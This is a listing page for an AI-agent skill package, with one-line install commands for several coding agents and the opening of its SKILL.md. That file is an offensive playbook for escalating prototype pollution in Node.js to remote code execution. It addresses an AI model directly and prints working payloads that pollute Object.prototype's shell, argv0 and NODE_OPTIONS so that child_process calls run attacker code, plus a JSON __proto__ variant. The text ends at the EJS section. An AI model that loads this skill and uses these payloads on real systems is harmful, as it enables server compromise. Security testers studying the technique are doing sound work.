# Prototype Pollution Advanced

Advanced prototype pollution playbook, server-side RCE, client-side gadgets, filter...

- Repository: https://github.com/Zyrexnn/Cybermes (987 stars)
- Category: Engineering
- License: Apache-2.0
- Last updated: 2026-11-01
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add Zyrexnn/Cybermes --skill prototype-pollution-advanced -g -a claude-code -y`
Codex: `npx skills add Zyrexnn/Cybermes --skill prototype-pollution-advanced -g -a codex -y`
Cursor: `npx skills add Zyrexnn/Cybermes --skill prototype-pollution-advanced -g -a cursor -y`
Gemini CLI: `npx skills add Zyrexnn/Cybermes --skill prototype-pollution-advanced -g -a gemini-cli -y`

## Description

Advanced prototype pollution playbook, server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# SKILL: Prototype Pollution Advanced, RCE & Gadget Exploitation

> **AI LOAD INSTRUCTION**: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load [../prototype-pollution/SKILL.md](../prototype-pollution/SKILL.md) first for fundamentals (merge sinks, `__proto__` vs `constructor.prototype`, basic probes).

## 0. RELATED ROUTING

- [prototype-pollution](../prototype-pollution/SKILL.md), **LOAD FIRST** for PP fundamentals, merge-sink detection, basic probes
- [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md), template engine RCE context (PP often triggers through template gadgets)
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md), client-side PP gadgets ultimately achieve XSS

### Advanced Reference

Load [KNOWN_GADGETS.md](./KNOWN_GADGETS.md) for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.

---

## 1. SERVER-SIDE PP → RCE

### 1.1 Node.js child_process.spawn, Shell/ENV Injection

When `child_process.spawn` or `child_process.fork` is called without explicit `env`/`shell` options, it inherits from `Object.prototype`:

```javascript
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code
```

Alternative ENV pollution:

```json
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
```

### 1.2 EJS (Embedded JavaScript Templates)

The rest: https://github.com/Zyrexnn/Cybermes/blob/HEAD/knowledge/hack-skills/skills/prototype-pollution-advanced/SKILL.md